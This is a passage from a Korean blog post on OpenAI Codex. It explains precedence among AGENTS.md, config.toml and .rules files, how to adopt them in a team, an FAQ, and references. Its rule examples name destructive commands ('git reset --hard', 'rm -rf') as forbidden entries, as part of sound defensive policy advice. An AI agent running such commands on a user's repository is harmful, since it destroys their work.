&lt;p data-ke-size=&quot;size16&quot;&gt;여러 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;가 동시에 존재하면 작업 디렉토리에 가까운 파일이 우선한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 하위 디렉토리 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;가 저장소 루트보다 우선하고, 저장소 루트가 전역 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;~/.codex/AGENTS.md&lt;/code&gt;보다 팀 규칙에 더 가깝다(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/customization&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Customization 문서&lt;/a&gt;).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 규칙은 모노레포(monorepo, 프론트엔드&amp;middot;백엔드&amp;middot;공통 라이브러리처럼 여러 프로젝트가 한 저장소 안에 함께 들어 있는 구조)에서 특히 유용하다. 루트에는 공통 규칙을 두고, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;apps/web/AGENTS.md&lt;/code&gt;에는 프론트엔드 규칙을, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;apps/api/AGENTS.md&lt;/code&gt;에는 백엔드 규칙을 둘 수 있다. 서로 다른 영역의 테스트 명령과 금지 파일이 달라도 가까운 파일이 판단 기준이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6.2 config.toml 우선순위&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;config.toml&lt;/code&gt;에도 별도의 우선순위가 있다. 공식 문서 기준으로는 실행할 때 직접 넘긴 CLI 플래그와 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--config&lt;/code&gt; 값이 가장 강하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그다음은 프로필 값, 프로젝트 config, 사용자 config, 시스템 config, 기본값 순이다(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/config-basic&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Config basics 문서&lt;/a&gt;). CLI 플래그는 터미널에서 명령을 실행할 때 붙이는 옵션이라고 생각하면 된다. 프로젝트 config는 프로젝트 루트에서 현재 작업 디렉토리까지 내려오며 적용되고, 가까운 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.codex/config.toml&lt;/code&gt;이 더 우선한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 20px; border-radius: 12px; border-left: 5px solid #ffc107; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;규칙 충돌을 디버깅할 때는 &quot;AGENTS.md 우선순위&quot;와 &quot;config.toml 우선순위&quot;를 섞지 않아야 한다. 전자는 작업 지침의 가까운 파일 우선이고, 후자는 실행할 때 더 직접 지정한 설정을 우선하는 방식이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6.3 Rules 충돌 처리&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Rules에서는 여러 규칙이 같은 명령에 매칭될 수 있다. 이때 Codex는 더 제한적인 결정을 적용한다. 공식 문서가 제시한 순서는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;forbidden &amp;gt; prompt &amp;gt; allow&lt;/code&gt;다(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/rules&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Rules 문서&lt;/a&gt;).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 넓은 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;allow&lt;/code&gt; 규칙과 좁은 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;forbidden&lt;/code&gt; 규칙을 함께 둘 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;git status&lt;/code&gt;와 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;git diff&lt;/code&gt;처럼 내용을 확인하는 명령은 허용하되, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;git reset --hard&lt;/code&gt;처럼 작업 내용을 되돌릴 수 있는 명령은 금지하는 식이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팀 규칙에서는 넓은 허용보다 좁은 금지 규칙을 명확히 쓰는 편이 리뷰 비용을 줄인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section7&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 팀에 적용하는 방법&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin: 8px 0 16px; color: #444;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심:&lt;/b&gt; AGENTS.md 한 파일을 저장소에 커밋하면 팀 전체가 같은 Codex 기준을 자동으로 공유한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;1440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l3IjF/dJMcafmhetR/B29RxNiz2IFtZLtTu1nw7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l3IjF/dJMcafmhetR/B29RxNiz2IFtZLtTu1nw7k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l3IjF/dJMcafmhetR/B29RxNiz2IFtZLtTu1nw7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl3IjF%2FdJMcafmhetR%2FB29RxNiz2IFtZLtTu1nw7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2560&quot; height=&quot;1440&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;1440&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;첫 적용은 작게 시작하는 것이 좋다. 루트 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt; 하나, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.codex/config.toml&lt;/code&gt; 하나, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.codex/rules/team.rules&lt;/code&gt; 하나면 충분하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팀 공통 규칙으로 확정한 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;와 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.codex/rules/team.rules&lt;/code&gt;는 저장소에 체크인해 같은 기준을 공유한다. 체크인은 Git에 파일을 포함해 팀원이 같은 내용을 받을 수 있게 만드는 과정이다. 그리고 실제 리뷰에서 반복된 피드백만 조금씩 반영한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만 저장소에 넣었다고 해서 항상 강제로 적용되는 것은 아니다. 프로젝트 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.codex/&lt;/code&gt; 설정은 신뢰된 프로젝트에서만 로드되고, 사용자 config나 CLI 플래그, 프로필, 기업 관리 설정과 우선순위가 함께 작동한다. 따라서 저장소 체크인은 &quot;팀의 공유 기본값&quot;이고, 반드시 강제해야 하는 보안 정책은 CI, 브랜치 보호, 사전 커밋 훅, 기업용 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;requirements.toml&lt;/code&gt; 같은 관리형 설정과 함께 설계해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추천 순서는 다음과 같다.&lt;/p&gt;
&lt;ol style=&quot;margin: 15px 0; padding-left: 22px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;루트 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;에 빌드/테스트 명령과 금지 디렉토리를 적는다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;하위 디렉토리별로 규칙이 다를 때만 추가 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;를 만든다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.codex/rules/&lt;/code&gt;에는 자동 허용할 읽기 명령과 금지할 파괴적 명령을 먼저 적는다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex execpolicy check&lt;/code&gt;로 실제 팀 명령을 검증한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;PR 리뷰에서 같은 피드백이 반복되면 규칙으로 승격한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음부터 완성된 규칙집을 만들려고 하면 금방 낡는다. 실제 실패 사례를 하나씩 규칙으로 바꾸면 문서는 작게 시작해도 오래 유지된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;솔직히 말하면, 처음 Rules를 도입할 때 너무 넓은 패턴으로 bash를 허용했다가 의도하지 않은 명령이 통과한 적이 있다. 그 이후로 &quot;허용 규칙은 좁게, 금지 규칙은 먼저&quot;라는 순서를 항상 지키게 됐다. 팀에 적용하기 전에 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex execpolicy check&lt;/code&gt;로 실제 명령을 한 줄씩 검사하는 것이 가장 빠른 확인 방법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section8&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 정리와 Part 5 예고&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin: 8px 0 16px; color: #444;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심:&lt;/b&gt; AGENTS.md&amp;middot;.rules&amp;middot;config.toml 세 파일이 각각 '무엇을&amp;middot;어떻게 실행할지&amp;middot;어느 수준까지 허용할지'를 담당한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;1440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJQA5W/dJMcacbZX71/7Q0eXioCl8PCiPg236s5x0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJQA5W/dJMcacbZX71/7Q0eXioCl8PCiPg236s5x0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJQA5W/dJMcacbZX71/7Q0eXioCl8PCiPg236s5x0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJQA5W%2FdJMcacbZX71%2F7Q0eXioCl8PCiPg236s5x0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2560&quot; height=&quot;1440&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;1440&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;는 Codex에게 &quot;이 프로젝트에서는 이렇게 일한다&quot;를 알려주는 팀 규칙 파일이다. 로컬 메모리가 개인 작업 흐름을 이어주는 보조층이라면, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;는 저장소와 함께 이동하는 공유 기준이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.rules&lt;/code&gt;는 그 기준을 명령 실행 정책으로 한 단계 더 좁힌다. 어떤 명령은 자동 허용하고, 어떤 명령은 매번 확인하고, 어떤 명령은 막을지 파일로 관리할 수 있다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;config.toml&lt;/code&gt;은 이 규칙들이 동작하는 기본 실행 환경을 정한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;파일&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;역할&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;저장소 공유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;팀 전체 행동 규칙 (자연어)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Git에 포함 &amp;mdash; 팀 공유&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.rules&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;명령 실행 허용&amp;middot;확인&amp;middot;차단 정책&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Git에 포함 &amp;mdash; 팀 공유&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.codex/config.toml&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;모델&amp;middot;샌드박스&amp;middot;승인 정책 기본값&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;신뢰된 프로젝트에서 로드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;~/.codex/config.toml&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;개인 전역 기본값&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;개인 로컬 &amp;mdash; 공유 안 함&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;실전 판단 기준 &amp;mdash; 어디에 두면 되는가&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 22px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;팀 전체가 따라야 할 코딩 컨벤션, 테스트 명령, 금지 디렉토리&lt;/b&gt;라면 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;에 둔다. Git에 함께 커밋하면 팀원 모두에게 같은 기준이 자동으로 전달된다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;rm -rf&lt;/code&gt; 차단&quot;처럼 특정 명령을 막거나, 읽기 전용 Git 명령은 자동 허용하고 싶을 때&lt;/b&gt;는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.rules&lt;/code&gt;에 둔다. 실행 경계를 선언하는 곳이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;b&gt;나만 반복해서 쓰는 워크플로 스타일이나 개인 취향&lt;/b&gt;은 내 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;~/.codex/config.toml&lt;/code&gt; 또는 로컬 메모리에 둔다. 팀 저장소에 올리지 않아도 된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border: 2px solid #0066cc; border-radius: 8px; padding: 15px; margin: 20px 0;&quot;&gt;&lt;b&gt;OpenAI Codex 개발자 시리즈&lt;/b&gt;
&lt;div style=&quot;margin-top: 10px; display: flex; gap: 10px; flex-wrap: wrap; align-items: center;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/596&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 1: CLI 빠른 시작&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/597&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 2: 핵심 개념 4가지 (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/598&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 3: Subagents &amp;middot; Workflows (예정)&lt;/a&gt; &lt;span style=&quot;background-color: #0066cc; color: white; padding: 5px 12px; border-radius: 15px; font-size: 14px; font-weight: bold;&quot;&gt;Part 4: AGENTS.md &amp;middot; Rules (현재 글)&lt;/span&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/600&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 5: MCP &amp;middot; Plugins &amp;middot; Skills (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/601&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 6: 자동화 (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/602&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 7: 마이그레이션 (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/603&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 8: 병행 사용 패턴 (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;codex-series-11-hidden-reference.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 11: 숨은 명령&amp;middot;config 사전&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4ff; padding: 20px 24px; border-radius: 12px; border: 1px solid #b3c6ff; margin: 30px 0;&quot;&gt;&lt;b&gt;다음 글 예고: Part 5 &amp;mdash; MCP, 플러그인, 스킬&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0; padding-left: 22px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP(Model Context Protocol, Codex가 외부 도구&amp;middot;API와 통신하는 표준 프로토콜)로 Codex에 외부 도구 연결하기&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;플러그인과 스킬의 차이 &amp;mdash; 언제 어떤 걸 써야 하나&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;실제 프로젝트에서 MCP 서버를 붙이는 실습&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- SEO FAQ: visible questions matched to FAQPage JSON-LD --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;자주 묻는 질문&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 8px; padding: 18px 20px; margin: 20px 0;&quot;&gt;
&lt;h3 style=&quot;font-size: 18px; color: #1a3a52; margin: 18px 0 8px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;AGENTS.md에는 무엇을 적어야 하나?&lt;/h3&gt;
&lt;p style=&quot;margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;프로젝트 구조, 빌드와 테스트 명령, 코딩 규칙, 금지해야 할 변경, 리뷰 기준처럼 Codex가 작업 전에 알아야 하는 팀 규칙을 적는 것이 좋다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 18px; color: #1a3a52; margin: 18px 0 8px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Rules는 AGENTS.md와 무엇이 다른가?&lt;/h3&gt;
&lt;p style=&quot;margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;AGENTS.md는 자연어 지침이고, Rules는 특정 명령 prefix를 허용하거나 차단하는 실행 정책에 가깝다. 설명은 AGENTS.md에, 강제하고 싶은 명령 경계는 Rules에 두는 식으로 나누어 생각하면 된다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 18px; color: #1a3a52; margin: 18px 0 8px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;명령 허용 규칙을 넓게 잡아도 괜찮은가?&lt;/h3&gt;
&lt;p style=&quot;margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;가능한 한 좁게 잡는 편이 안전하다. 예를 들어 셸 wrapper 전체를 허용하기보다 실제로 필요한 하위 명령 prefix를 허용해야 예기치 않은 실행 범위를 줄일 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;margin: 15px 0; padding-left: 22px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/rules&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex Rules&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/customization&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex Customization&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/guides/agents-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex Custom instructions with AGENTS.md&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/config-basic&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex Config basics&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/config-advanced&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex Advanced Configuration&lt;/a&gt;&lt;/li&gt;
